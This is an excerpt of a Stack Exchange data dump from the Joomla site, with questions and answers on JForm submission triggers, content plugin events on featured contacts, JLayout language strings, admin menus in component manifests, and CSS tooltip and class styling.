  <row Id="24206" PostTypeId="1" AcceptedAnswerId="24208" CreationDate="2019-02-04T12:33:36.997" Score="0" ViewCount="40" Body="&lt;p&gt;I´m working on a JForm with some list fields. As the fields have a cascading relationship (and I did not want to work with AJAX at this time) I submit the form, whenever the selection of one of the list fields changes as @sharky described &lt;a href=&quot;https://joomla.stackexchange.com/questions/24125/how-to-submit-jform-form-based-on-custom-dropdown-list-value-change/24132#24132&quot;&gt;here&lt;/a&gt; by adding the onchange attribute to the field defintion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;access&quot;&#xA;    type=&quot;accesslevel&quot;&#xA;    label=&quot;JOPTION_FILTER_ACCESS&quot;&#xA;    description=&quot;JOPTION_FILTER_ACCESS_DESC&quot;&#xA;    onchange=&quot;this.form.submit();&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_ACCESS&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally When a form is submitted by clicking a button, the &quot;value&quot; of the button is included in the post message, so it is easy to indentify what caused the submission and handle the data appropriately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in this case when the form was submitted because the selection of one of the list fields changed, the post message only contains the submitted values, but no indication about which element caused the submission. However I would need this information to handle the submission appropriately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to mark/figure out which list field caused the submission?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &#xA;W. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2019-02-04T15:14:51.307" Title="How to identify which JForm list field triggered the submission of my form?" Tags="|jform|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24207" PostTypeId="1" CreationDate="2019-02-04T13:22:49.100" Score="0" ViewCount="134" Body="&lt;p&gt;Using the content event &lt;code&gt;onContentPrepare()&lt;/code&gt; within a plugin in the contexts of '&lt;strong&gt;com_contact.category&lt;/strong&gt;' and '&lt;strong&gt;com_contact.contact&lt;/strong&gt;' works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the following code doesn't output anything on a page which is showing the &lt;strong&gt;Contacts » Featured Contacts&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepare($context, &amp;amp;$row, &amp;amp;$params, $page = 0) {&#xA;  var_dump($context);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If would expect something like e.g. &lt;code&gt;com_contact.featured&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;code&gt;onContentBeforeDisplay()&lt;/code&gt; and &lt;code&gt;onContentAfterDisplay()&lt;/code&gt; doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i have a chance to get a content-plugin work within alle three events on the featured contact-page?&lt;/p&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2019-02-07T09:29:38.847" Title="How to use plugin content-events on featured contacts page" Tags="|joomla-3.x|plugin-events|com-contacts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24208" PostTypeId="2" ParentId="24206" CreationDate="2019-02-04T15:14:51.307" Score="1" Body="&lt;p&gt;Create a hidden field in your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;example&quot;&#xA;    type=&quot;hidden&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before submitting the form, populate this field with the ID or name of the field used to submit the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;access&quot;&#xA;    type=&quot;accesslevel&quot;&#xA;    label=&quot;JOPTION_FILTER_ACCESS&quot;&#xA;    description=&quot;JOPTION_FILTER_ACCESS_DESC&quot;&#xA;    onchange=&quot;document.getElementById('filter_example').value = this.id; this.form.submit();&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_ACCESS&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-04T15:14:51.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24210" PostTypeId="1" AcceptedAnswerId="24211" CreationDate="2019-02-05T01:06:42.543" Score="3" ViewCount="60" Body="&lt;p&gt;I'm working with the Joomla 4 alpha 7, and I don't see anywhere to enable / disable plugins. Are plugins not enabled yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edited to add alpha, not beta!]&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2019-02-05T05:40:13.090" LastActivityDate="2019-02-05T06:18:49.330" Title="Where are plugins found in Joomla 4?" Tags="|plugin|administrator|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24211" PostTypeId="2" ParentId="24210" CreationDate="2019-02-05T05:37:08.450" Score="3" Body="&lt;p&gt;You probably work with &lt;strong&gt;Joomla 4 (alpha)&lt;/strong&gt; as beta does not seem to be yet available. The plugins in Joomla 4 (alpha 7 latest) are at &lt;strong&gt;administrator-&gt;system-&gt;manage-&gt;plugins&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-02-05T06:18:49.330" LastActivityDate="2019-02-05T06:18:49.330" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24212" PostTypeId="2" ParentId="24207" CreationDate="2019-02-05T08:12:56.977" Score="0" Body="&lt;p&gt;No, plugin events are not triggered on Featured Contacts page. You can request this feature on the &lt;a href=&quot;https://issues.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Issue Tracker&lt;/a&gt;. Until this is implemented in core, you can only manually add the events in layout overrides.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-05T08:12:56.977" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24214" PostTypeId="1" AcceptedAnswerId="24215" CreationDate="2019-02-05T11:59:16.647" Score="1" ViewCount="111" Body="&lt;p&gt;I am trying to use Jlayout in a plugin I am writing and everything works fine except that the Language Constants in the layout file are not being replaced.&lt;/p&gt;&#xA;&lt;p&gt;My call to render the layout is;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$layout = new JLayoutFile($layoutname, $layoutpath);&#xA;$body = $layout-&amp;gt;render($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my layout file I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;th&amp;gt;&amp;lt;?php echo Jtext::_('COM_MEMBERSHIPS_FIELD_MEMBERSHIP_LABEL'); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;?php echo $displayData['membership']; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I dump $body after the render I get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;COM_MEMBERSHIPS_FIELD_MEMBERSHIP_LABEL 911 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The '911' is the data expected for the field membership but I am expecting:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Membership: 911&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have been chasing this problem for hours now and don't seem to be able to find anything that gives me any clues about what is going on.&lt;/p&gt;&#xA;&lt;p&gt;What I can share is that the Constant is in the .ini file in both the site and admin language files as the constant is properly replaced in other Views.&lt;/p&gt;&#xA;&lt;p&gt;My assumption is that for some reason the language files are not found in the Jlayout process, like I am missing a line or something that needs to include it, but I can't find any examples that show anything else is needed.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2023-05-19T06:58:15.050" LastActivityDate="2023-05-19T06:59:36.403" Title="Language Constants not being replaced in JLayout" Tags="|joomla-3.x|jlayout|jtext|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24215" PostTypeId="2" ParentId="24214" CreationDate="2019-02-05T18:02:32.633" Score="0" Body="&lt;p&gt;I've just checked a few things since responding. Please see below line break.&lt;/p&gt;&#xA;&lt;p&gt;Are you calling the &lt;code&gt;$this-&amp;gt;loadLanguage($this-&amp;gt;_name, [path/to/language/directory]);&lt;/code&gt; call in your plugin?&lt;/p&gt;&#xA;&lt;p&gt;At a quick glance, I can see that you appear to have a typo in your &lt;code&gt;Jtext::_()&lt;/code&gt; call. Try replacing it with &lt;code&gt;JText::_()&lt;/code&gt; instead.&lt;/p&gt;&#xA;&lt;p&gt;If this doesn't work:&#xA;Have you switched on language debugging?&lt;/p&gt;&#xA;&lt;p&gt;Will try checking it in plugin I'm working on, and post update accordingly.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;** UPDATE: **&#xA;I can confirm that calling &lt;code&gt;Jtext::_()&lt;/code&gt; or &lt;code&gt;JText::_()&lt;/code&gt; result in my &lt;code&gt;PLG_MYPLUGIN_CONSTANTS&lt;/code&gt; &lt;strong&gt;are&lt;/strong&gt; translated.&lt;/p&gt;&#xA;&lt;p&gt;So, I'd recommend checking that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You have &lt;strong&gt;both&lt;/strong&gt; &lt;em&gt;language files&lt;/em&gt; specified as sub-elements of the &lt;strong&gt;languages&lt;/strong&gt; &lt;em&gt;element&lt;/em&gt; of your extension's manifest file (.xml) with the following values:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;language/en-GB.plg_system_[your_plugin_name].ini&#xA;language/en-GB.plg_system_[your_plugin_name].sys.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;You are loading the language using the aforementioned &lt;code&gt;$this-&amp;gt;loadLanguage()&lt;/code&gt; &lt;em&gt;method&lt;/em&gt; in your plugin's &lt;code&gt;__construct()&lt;/code&gt; &lt;em&gt;method&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;You are successfully translating your plugin's &lt;em&gt;constants&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13273" LastEditorUserId="12352" LastEditDate="2023-05-19T06:59:36.403" LastActivityDate="2023-05-19T06:59:36.403" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24216" PostTypeId="2" ParentId="24172" CreationDate="2019-02-05T20:26:31.697" Score="0" Body="&lt;p&gt;The 500 error was happening in the component installer file-- I still can't say why the error, which was caused by an invalid classname (due to changed Joomla class names in Joomla 4) was not being logged or otherwise printed, since other errors were being logged as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the issue was fixed (the classname was updated) the problem was resolved and logging worked as expected.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2019-02-05T20:26:31.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24218" PostTypeId="2" ParentId="18573" CreationDate="2019-02-06T15:21:04.127" Score="0" Body="&lt;p&gt;You can change the page title in Backend Global Configuration. The URL is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/administrator/index.php?option=com_config&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to define the separator check: &lt;a href=&quot;https://joomla.stackexchange.com/questions/24106/where-can-i-configure-the-page-title-separator-from-to&quot;&gt;Where can I configure the page title separator from &amp;quot;-&amp;quot; to &amp;quot;|&amp;quot;?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2019-02-06T15:21:04.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24219" PostTypeId="2" ParentId="24174" CreationDate="2019-02-06T20:46:17.537" Score="1" Body="&lt;p&gt;There is a good video from Joomla World Conference 2016 on a presentation of Namespaces by Jisse Reitsma that around the 23 minute mark goes into an example that eventually describes a situation where you would not use Jexec in your code so that it can be shared with other platforms like Wordpress/Magento, &lt;a href=&quot;https://www.youtube.com/watch?v=Dyx05GR4Bms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=Dyx05GR4Bms&lt;/a&gt;&#xA;With a few more of the popular Joomla extension coming out with Wordpress flavours and &#xA;some of newer features coming with Joomla 4, I think there might be a relaxing of the expectation that Jexec will be in every file. &#xA;So to get back @astridx's question, I would not add Jexec to the external library because it is not Joomla code.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-02-06T20:46:17.537" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24220" PostTypeId="1" AcceptedAnswerId="24251" CreationDate="2019-02-07T00:54:16.110" Score="1" ViewCount="481" Body="&lt;p&gt;I'm trying to change the css properties of the tooltip css in Joomla 3.9.&#xA;That is, when you hover over a text-label and a description appears right to it. I can't find the corresponding css class, not even with &quot;force state: hover&quot; in the browsers inspector tools. Does anyone know how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Please see this image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yEc9E.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yEc9E.jpg&quot; alt=&quot;The mouse hovers over label &amp;quot;Name *&amp;quot; and tooltip appears on the right&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mouse hovers over label &quot;Name *&quot; and Tooltip appears on the right. I want to give a background-color to the tooltip.&lt;/p&gt;&#xA;" OwnerUserId="13313" LastEditorUserId="13313" LastEditDate="2019-02-07T04:00:33.680" LastActivityDate="2019-02-12T01:42:04.820" Title="Problem changing tooltip css in Joomla 3" Tags="|css|joomla-3.9|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24221" PostTypeId="1" AcceptedAnswerId="24222" CreationDate="2019-02-07T04:40:28.077" Score="0" ViewCount="2697" Body="&lt;p&gt;The class I want to change has a space in the beginning, see image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yOvEb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yOvEb.jpg&quot; alt=&quot;css class question&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to find that class or override it with my own class attributes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;. nav { css here }&lt;/code&gt; work?&lt;/p&gt;&#xA;" OwnerUserId="13313" LastActivityDate="2019-02-10T14:57:35.357" Title="How do I find / write a css class that has a space in the beginning?" Tags="|css|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24222" PostTypeId="2" ParentId="24221" CreationDate="2019-02-07T06:18:26.003" Score="0" Body="&lt;p&gt;An element can have multiple classes, separated by a space. Leading and trailing spaces mean nothing. So the class in this case is &lt;code&gt;nav&lt;/code&gt; and the selector is &lt;code&gt;.nav&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-07T06:18:26.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24223" PostTypeId="2" ParentId="24220" CreationDate="2019-02-07T06:45:04.373" Score="1" Body="&lt;p&gt;The base HTML generated by Bootstrap tooltips looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tooltip&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;tooltip-arrow&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;tooltip-inner&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once triggered, outer &lt;code&gt;div&lt;/code&gt; also receives position classes (&lt;code&gt;top&lt;/code&gt;, &lt;code&gt;bottom&lt;/code&gt;, &lt;code&gt;left&lt;/code&gt; or &lt;code&gt;right&lt;/code&gt;) as well as &lt;code&gt;fade&lt;/code&gt; and &lt;code&gt;in&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tooltip fade top in&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;tooltip-arrow&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;tooltip-inner&quot;&amp;gt;Tooltip Text&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can't find the corresponding css class, not even with &quot;force state:&#xA;  hover&quot; in the browsers inspector tools.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Changing state in inspector does not trigger JavaScript. Instead, you can enter this into console to show the tooltip:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#example').tooltip('show');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;#example&lt;/code&gt; is the selector of the element containing the tooltip. When you run this code, the tooltip will be generated and its markup will appear in inspector.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-07T06:45:04.373" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24224" PostTypeId="1" AcceptedAnswerId="24225" CreationDate="2019-02-07T07:08:37.970" Score="1" ViewCount="77" Body="&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt; I am starting to package up three associated custom Joomla extensions that I've developed.  (This is directly associated with &lt;a href=&quot;https://joomla.stackexchange.com/q/23899/12352&quot;&gt;my previous JSE question&lt;/a&gt;, if you want more context.)  The package contains a component (&lt;code&gt;com_o3_picture&lt;/code&gt;) that started as a clone of &lt;code&gt;com_contact&lt;/code&gt; from the core, then was adjusted to suit client needs.  Additionally, there is a &lt;code&gt;editors-xtd&lt;/code&gt; plugin to generate placeholders into Articles and a &lt;code&gt;content&lt;/code&gt; plugin to replace the placeholders with dynamic content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I am using much of the same functionality of &lt;code&gt;com_contact&lt;/code&gt;, my &lt;code&gt;install.mysql.utf8.sql&lt;/code&gt; file creates a &lt;code&gt;#__o3_picture_details&lt;/code&gt; table.  This is successfully done already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of months ago, when I test-installed my component by itself, I realized that I didn't have the &lt;code&gt;Pictures&amp;gt;Pictures&lt;/code&gt; and &lt;code&gt;Pictures&amp;gt;Categories&lt;/code&gt; submenus that I needed in the Administrator Menu's &lt;code&gt;Components&amp;gt;Pictures&lt;/code&gt; (to mirror the options that Contacts provides).  So I manually inserted some rows into &lt;code&gt;#__menu&lt;/code&gt; to solve the problem.  This was something that I &quot;eye-balled&quot; because I needed to reference generated ids to properly assign the parent-child relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I automate the Menu option process?  Can this be cleverly done in the &lt;code&gt;install.mysql.utf8.sql&lt;/code&gt;? or do I use a preflight call? or postflight? or an entirely different/better way?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I know &lt;a href=&quot;https://joomla.stackexchange.com/a/23442/12352&quot;&gt;I need to insert to &lt;code&gt;#__content_types&lt;/code&gt;&lt;/a&gt;.   Are there any essential rows in other tables that should be inserted/updated?  I mean, &lt;code&gt;#__assets&lt;/code&gt; is a table that might not &lt;em&gt;need&lt;/em&gt; to be spoken to, but I'd rather do everything in my install rather than running a sync from PWT's ACL asset fixer.  Another example is &lt;code&gt;#__associations&lt;/code&gt; -- I don't think I need to do anything to that one do I?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can I be sure that I've created everything that is expected? Trial and Error?  ...I'd rather not.  Anyone have some experience/expertise to share?&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-08T07:46:37.503" LastActivityDate="2019-02-08T07:46:37.503" Title="How to integrate my custom Administrator component with core Joomla database tables during install?" Tags="|extensions|mysql|custom-component|installation|component-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24225" PostTypeId="2" ParentId="24224" CreationDate="2019-02-07T08:46:32.270" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Administrator menu items can be added to manifest file's &lt;code&gt;&amp;lt;administration&amp;gt;&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;menu img=&quot;class:example&quot;&amp;gt;COM_EXAMPLE&amp;lt;/menu&amp;gt;&#xA;&amp;lt;submenu&amp;gt;&#xA;    &amp;lt;menu&#xA;        link=&quot;option=com_example&quot;&#xA;        img=&quot;class:example-items&quot;&#xA;        alt=&quot;Example/Items&quot;&amp;gt;COM_EXAMPLE_ITEMS&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;menu&#xA;        link=&quot;option=com_categories&amp;amp;amp;extension=com_example&quot;&#xA;        view=&quot;categories&quot;&#xA;        img=&quot;class:example-cat&quot;&#xA;        alt=&quot;Example/Categories&quot;&amp;gt;COM_EXAMPLE_CATEGORIES&amp;lt;/menu&amp;gt;&#xA;&amp;lt;/submenu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Manifest_files#Menu_links_and_submenus&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Manifest_files#Menu_links_and_submenus&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Unless you want to insert some sample items on installation, no. Component record will be added to &lt;code&gt;#__assets&lt;/code&gt; table automatically.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-02-07T09:15:36.290" LastActivityDate="2019-02-07T09:15:36.290" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24226" PostTypeId="2" ParentId="24207" CreationDate="2019-02-07T09:29:38.847" Score="2" Body="&lt;p&gt;I did some research and found a solution using template overrides (thanks to &lt;a href=&quot;https://joomla.stackexchange.com/a/24212/13129&quot;&gt;Sharky answer&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can manually &lt;a href=&quot;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;trigger content plugins&lt;/a&gt; in template overrides for &lt;strong&gt;featured contacts&lt;/strong&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Default template&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Path: &lt;code&gt;/templates/&amp;lt;template&amp;gt;/html/com_contact/featured/default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the content plugins on &lt;strong&gt;some text&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('content.prepare', 'For example mail like mail@domain.de are cloaked.');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or run content plugins on a &lt;strong&gt;custom context&lt;/strong&gt; like &quot;com_contact.featured&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$featured = new stdClass;&#xA;$featured-&amp;gt;text = 'For example mail like mail@domain.de are cloaked.'; // add text&#xA;$featured-&amp;gt;params = new JObject; // add more to parameters if needed&#xA;JPluginHelper::importPlugin('content');&#xA;JFactory::getApplication()-&amp;gt;triggerEvent('onContentPrepare', array ('com_contact.featured', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Default Items template&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Path: &lt;code&gt;/templates/&amp;lt;template&amp;gt;/html/com_contact/featured/default_items.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the content plugins on &lt;strong&gt;each item&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;foreach($this-&amp;gt;items as $item) {&#xA;  $app-&amp;gt;triggerEvent('onContentPrepare', array ('com_contact.contact', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, 0));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the context 'com_contact.contact' is used.&lt;/p&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2019-02-07T09:29:38.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24228" PostTypeId="1" CreationDate="2019-02-07T13:18:47.710" Score="1" ViewCount="42" Body="&lt;p&gt;I have activated the new privacy suite that came in Joomla 3.9 in a website. It is impressive software: its capabilities and the userfriendly way it is presented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation tells me that superusers can administer information requests from registered users. (They can request to receive an export of all their personal data, or they can ask to delete all known personal data. The superuser admin can create a data dump and sent them this in the mail, or delete all personal data (login data also) which also anonymises their user account data).&#xA;The only users that are allowed to do this are superusers.&#xA;It is possible to create an administrator group that has acl rights to create and manage users but without all acl rights a auperuser has. I do not understand why the administrator role is not allowed to handle information requests.&#xA;I would like to be able to create an admin group with acl rights that permit users in that group to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this has been discussed by developers of the privacy suite, but I cannot find any trace of these discussions, and of the arguments that led to the decision to let only superusers handle this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone direct me to these discussions, or tell me why it was decided to do it this way? And even perhaps of ways to change this superuser monopoly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2019-02-07T13:18:47.710" Title="Why can only superusers administer information requests?" Tags="|joomla-3.9|super-user|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24229" PostTypeId="2" ParentId="24221" CreationDate="2019-02-08T05:56:30.893" Score="4" Body="&lt;p&gt;CSS classes and IDs never start with spaces, and they also never have spaces in the middle of it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Sharky commented, an element can have multiple classes, and those classes must be separated by a space. But keep in mind that an element can have only one ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;mydiv&quot; class=&quot;nav menu navbar-collapse&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When a CSS class is added to an element, as above, you must not use the dot. Same is valid for IDs, where you must not use the # symbol when adding it to the element itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, when adding the styles to your CSS file, you must use the dot for classes, and # for IDs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.nav {&#xA;    background: #f1f1f1;&#xA;    color: #58535b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example of ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#mydiv {&#xA;    padding: 10px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla, or at least most templates, had, for many years, a problem with the class suffix area/field, where, in most cases, you had to add a space before the first class to avoid problems (because there was no space in the PHP code that loaded the class).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for older templates, or older versions of Joomla, you are likely to see the class attribute starting with a space. This is completely harmless, and you can safely ignore it.&lt;/p&gt;&#xA;" OwnerUserId="13318" LastEditorUserId="13318" LastEditDate="2019-02-10T14:57:35.357" LastActivityDate="2019-02-10T14:57:35.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
